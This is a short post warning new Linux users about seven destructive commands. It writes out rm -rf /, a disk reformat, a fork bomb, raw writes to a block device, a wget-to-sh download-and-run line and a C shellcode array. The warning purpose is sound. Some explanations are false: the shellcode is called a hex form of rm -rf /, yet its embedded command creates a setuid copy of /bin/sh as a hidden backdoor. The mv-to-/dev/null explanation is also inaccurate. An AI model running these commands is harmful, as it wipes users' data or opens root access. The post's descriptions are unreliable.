If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68"
"\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99"
"\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7"
"\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56"
"\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31"
"\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69"
"\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.